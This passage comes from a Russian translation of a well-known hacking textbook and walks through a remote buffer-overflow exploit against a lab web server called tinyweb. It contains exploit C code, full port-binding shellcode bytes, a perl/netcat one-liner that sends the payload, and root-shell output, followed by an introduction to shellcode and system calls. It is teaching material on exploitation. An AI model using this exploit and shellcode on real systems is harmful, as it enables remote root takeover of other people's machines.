Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
Скачать 2.5 Mb.
|
exit(1); } if((host_info = gethostbyname(argv[1])) == NULL) fatal(“looking up hostname”); if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal(“in socket”); target_addr.sin_family = AF_INET; target_addr.sin_port = htons(80); target_addr.sin_addr = *((struct in_addr *)host_info->h_addr); memset(&(target_addr.sin_zero), ‘\0’, 8); // Обнулить остаток структуры. if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) fatal(“connecting to target server”); bzero(buffer, 600); // Обнулить буфер. memset(buffer, ‘\x90’, OFFSET); // Построить NOP-цепочку. *((u_int *)(buffer + OFFSET)) = RETADDR; // Поместить в шелл-код memcpy(buffer+300, shellcode, strlen(shellcode)); // адрес возврата. strcat(buffer, “\r\n”); // Завершить строку. printf(“Exploit buffer:\n”); 310 0x400Сетевое взаимодействие dump(buffer, strlen(buffer)); // Вывести буфер эксплойта. send_string(sockfd, buffer); // Отправить буфер эксплойта как запрос HTTP. exit(0); } Запустив эту программу, мы можем удаленно управлять машинами, на которых работает программа tinyweb, заставляя их выполнять шелл- код. Эксплойт также показывает байты буфера эксплойта перед тем, как отправить его. Ниже показана проверка эксплойта на программе tinyweb, запущенной в другом терминале. Вот что выводится на терми- нал атакующего: reader@hacking:/booksrc $ gcc tinyweb_exploit.c reader@hacking:/booksrc $ ./a.out 127.0.0.1 Exploit buffer: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 31 c0 31 db | ............1.1. 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 2f 2f 73 68 | 1......j.XQh//sh 68 2f 62 69 6e 89 e3 51 89 e2 53 89 e1 cd 80 90 | h/bin..Q..S..... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................ 0x480 Пойди и кого-нибудь взломай! 311 0d 0a | .. reader@hacking:/booksrc $ На терминале, где запущена tinyweb, видно, что получен буфер экс- плойта и запущен шелл-код. Это дает нам оболочку суперпользовате- ля, но мы находимся на другой консоли, поэтому пользы от нее ника- кой. На консоли сервера видим следующее: reader@hacking:/booksrc $ ./tinyweb Accepting web requests on port 80 Got request from 127.0.0.1:53908 “GET / HTTP/1.1” Opening ‘./webroot/index.html’ 200 OK Got request from 127.0.0.1:40668 “GET /image.jpg HTTP/1.1” Opening ‘./webroot/image.jpg’ 200 OK Got request from 127.0.0.1:58504 “ □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□1□1□1□□□ j XQh//shh/bin □□Q□□S□□□□□□□□□ □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□“ NOT HTTP! sh-3.2# Уязвимость есть, но такой шелл-код не даст нам то, чего мы хотим. Шелл-код – это самостоятельная программа, заставляющая другую программу открыть оболочку. Как только мы получили доступ к ука- зателю команды программы, внедренный шелл-код может делать что угодно. Есть много видов шелл-кода, которые можно использовать в различных ситуациях. Даже если шелл-код не запускает оболочку (shell), его принято называть этим именем. 0x483 Шелл-код для привязки порта При эксплойте удаленной программы запускать локальную оболочку бессмысленно. Шелл-код с привязкой порта слушает соединение TCP на некотором порте и предоставляет удаленную оболочку. Если готов шелл-код для привязки порта, достаточно заменить несколько байт в эксплойте. На загрузочном диске 1 есть шелл-код, который привязы- вается к порту 31337. Байты этого шелл-кода приведены в следующем листинге. reader@hacking:/booksrc $ wc -c portbinding_shellcode 92 portbinding_shellcode reader@hacking:/booksrc $ hexdump -C portbinding_shellcode 00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....| 00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 |.jfXCRfhzifS..j.| 1 www.symbol.ru/library/hacking-2ed. – Прим. ред. 312 0x400Сетевое взаимодействие 00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 |QV.....fCCSV....| 00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f |.fCRRV.....j.Y.?| 00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 |..Iy...Rh//shh/b| 00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |in..R..S....| 0000005c reader@hacking:/booksrc $ od -tx1 portbinding_shellcode | cut -c8-80 | sed -e ‘s/ /\\x/g’ \x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80 \x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10 \x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80 \xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f \xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80 reader@hacking:/booksrc $ Немного форматирования, и эти байты можно вставить в шелл-код программы tinyweb_exploit.c, получив tinyweb_exploit2.c. Вот эта новая строка шелл-кода. Новая строка из tinyweb_exploit2.c char shellcode[]= “\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80” “\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10” “\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80” “\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f” “\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62” “\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80”; // Port-binding shellcode on port 31337 После компиляции и запуска этой программы против узла, на котором запущен сервер tinyweb, шелл-код будет ждать соединения TCP на пор- те 31337. Ниже показано, как программа nc подключается к оболоч- ке. Ее полное имя netcat, и она действует подобно команде cat, но че- рез сеть. Мы не можем воспользоваться telnet для подключения, пото- му что эта программа автоматически завершает все исходящие строки символами ‘\r\n’. Ниже приведен результат работы эксплойта. Ключ -vv в командной строке netcat просто задает режим вывода более под- робных сообщений. reader@hacking:/booksrc $ gcc tinyweb_exploit2.c reader@hacking:/booksrc $ ./a.out 127.0.0.1 Exploit buffer: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 0x480 Пойди и кого-нибудь взломай! 313 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 6a 66 58 99 | ............jfX. 31 db 43 52 6a 01 6a 02 89 e1 cd 80 96 6a 66 58 | 1.CRj.j......jfX 43 52 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 | CRfhzifS..j.QV.. cd 80 b0 66 43 43 53 56 89 e1 cd 80 b0 66 43 52 | ...fCCSV.....fCR 52 56 89 e1 cd 80 93 6a 02 59 b0 3f cd 80 49 79 | RV.....j.Y.?..Iy f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 | ...Rh//shh/bin.. 52 89 e2 53 89 e1 cd 80 90 90 90 90 90 90 90 90 | R..S............ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................ 0d 0a | .. reader@hacking:/booksrc $ nc -vv 127.0.0.1 31337 localhost [127.0.0.1] 31337 (?) open whoami root ls -l /etc/passwd -rw-r--r-- 1 root root 1545 Sep 9 16:24 /etc/passwd Несмотря на то что удаленная оболочка не выводит приглашение, она принимает команды и отображает результаты через сеть. Такую программу, как netcat, можно использовать с разными целями. Это консольная программа, и она позволяет переадресовать и конвейе- ризовать входные и выходные данные. Если есть netcat и файл с шелл- кодом привязки порта, тот же эксплойт можно выполнить в команд- ной строке. reader@hacking:/booksrc $ wc -c portbinding_shellcode 92 portbinding_shellcode reader@hacking:/booksrc $ echo $((540+4 - 300 - 92)) 152 reader@hacking:/booksrc $ echo $((152 / 4)) 38 reader@hacking:/booksrc $ (perl -e ‘print “\x90”x300’; > cat portbinding_shellcode > perl -e ‘print “\x88\xf6\xff\xbf”x38 . \r\n”’) 314 0x400Сетевое взаимодействие □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□jfX□1□CRj j □□ □ jfXC RfhzifS □□j QV□□ □fCCSV□□ □fCRRV□□ □j Y□? Iy□□ Rh//shh/bin □□R□□S□□ □□□□□□□□□□□ □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□ reader@hacking:/booksrc $ (perl -e ‘print “\x90”x300’; cat portbinding_ shellcode; perl -e ‘print “\x88\xf6\xff\xbf”x38 . “\r\n”’) | nc -v -w1 127.0.0.1 80 localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ nc -v 127.0.0.1 31337 localhost [127.0.0.1] 31337 (?) open whoami root Здесь мы сначала определили, что длина шелл-кода составляет 92 бай- та. Адрес возврата находится на расстоянии 540 байт от начала буфера, поэтому при 300 байт NOP-цепочки и 92 байт шелл-кода остается 152 до перезаписываемого адреса возврата. В таком случае, если повторить но- вый адрес возврата 38 раз в конце буфера, старый адрес будет изменен. Наконец, нужно завершить буфер комбинацией ‘\r\n’. Команды, стро- ящие буфер, заключены в скобки, чтобы передать буфер на вход netcat. После этого netcat соединяется с программой tinyweb и посылает ей бу- фер. После запуска шелл-кода нужно прервать netcat, нажав Ctrl-C, по- тому что изначальное соединение сокетов остается открытым. Далее netcat используется снова, чтобы подключиться к оболочке, привязан- ной к порту 31337. 0x500 Шелл-код (код оболочки) До сих пор использовавшийся в наших эксплойтах шеллкод представлял собой лишь строку байтов, которая копировалась и вставлялась. Мы озна комились со стандартным шеллкодом для запуска оболочки в локальных эксплойтах и шеллкодом, привязывающим порты, в удаленных эксплой тах. Шеллкод иногда называют также нагрузкой эксплойта (exploit payload), потому что эти самостоятельные программы выполняют на стоящую работу после взлома программы. Обычно шеллкод запускает оболочку, что является красивым способом передать управление, но он мо жет выполнять все то же, что делает любая программа. К сожалению, для многих хакеров вся работа с шелл-кодом не выхо- дит за пределы копирования и вставки байтов. А это самый верхний слой открывающихся возможностей. С помощью специального шелл- кода можно полностью управлять захваченной программой. Например, можно заставить шелл-код добавить учетную запись администратора в файл /etc/passwd или автоматически удалить строки из журнальных файлов. Если вы научитесь писать шелл-код, ваши возможности будут ограничены только воображением. Кроме того, при написании шелл- кода вы усовершенствуете свое владение языком ассемблера и узнаете ряд достойных хакерских приемов. 0x510 Ассемблер и C Байты шелл-кода это машинные инструкции (команды), ориентиро- ванные на определенную архитектуру, поэтому шелл-код пишут на ас- семблере. На ассемблере пишут не так, как на C, хотя многие принципы одинаковы. Операционная система решает такие проблемы, как ввод, вывод, управление процессами, доступ к файлам и передача данных по сети, с помощью ядра. Скомпилированные программы C решают эти 316 0x500 Шелл-код (код оболочки) задачи путем выполнения в конечном счете системных вызовов, обра- щенных к ядру. У каждой операционной системы есть свой набор си- стемных вызовов. В языке C для удобства и переносимости на другие платформы исполь- зуются стандартные библиотеки. Если программа на C использует для вывода строки функцию printf(), ее можно компилировать для разных систем, потому что библиотекам известно, какие системные вызовы нужно использовать в каждой архитектуре. Программа на C при ком- пиляции на процессоре x86 создаст код на языке ассемблера x86. Язык ассемблера по определению связан с определенной архитектурой процессора, поэтому такой код не переносим. Для него нет стандартных библиотек, и системные вызовы должны выполняться непосредствен- но. Для сравнения напишем простую программу на C, а затем перепи- шем ее на ассемблере для x86. helloworld.c #include int main() { printf(“Hello, world!\n”); return 0; } При запуске этой программы после компиляции происходит обращение к стандартной библиотеке ввода/вывода, и в конце концов для вывода на экран строки Hello, world! выполняется системный вызов. Просле- дить за системными вызовами, осуществляемыми из программы, мож- но с помощью утилиты strace. Примененная к программе helloworld, она покажет все системные вызовы, которые выполняет эта программа: reader@hacking:/booksrc $ gcc helloworld.c reader@hacking:/booksrc $ strace ./a.out execve(“./a.out”, [“./a.out”], [/* 27 vars */]) = 0 brk(0) = 0x804a000 access(“/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ef6000 access(“/etc/ld.so.preload”, R_OK) = -1 ENOENT (No such file or directory) open(“/etc/ld.so.cache”, O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=61323, ...}) = 0 mmap2(NULL, 61323, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ee7000 close(3) = 0 access(“/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (No such file or directory) open(“/lib/tls/i686/cmov/libc.so.6”, O_RDONLY) = 3 read(3, “\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20Z\1\000”..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1248904, ...}) = 0 mmap2(NULL, 1258876, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7db3000 0x510 Ассемблер и C 317 mmap2(0xb7ee0000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ DENYWRITE, 3, 0x12c) = 0xb7ee0000 mmap2(0xb7ee4000, 9596, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ ANONYMOUS, -1, 0) = 0xb7ee4000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7db2000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7db26b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xb7ee0000, 8192, PROT_READ) = 0 munmap(0xb7ee7000, 61323) = 0 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ef5000 |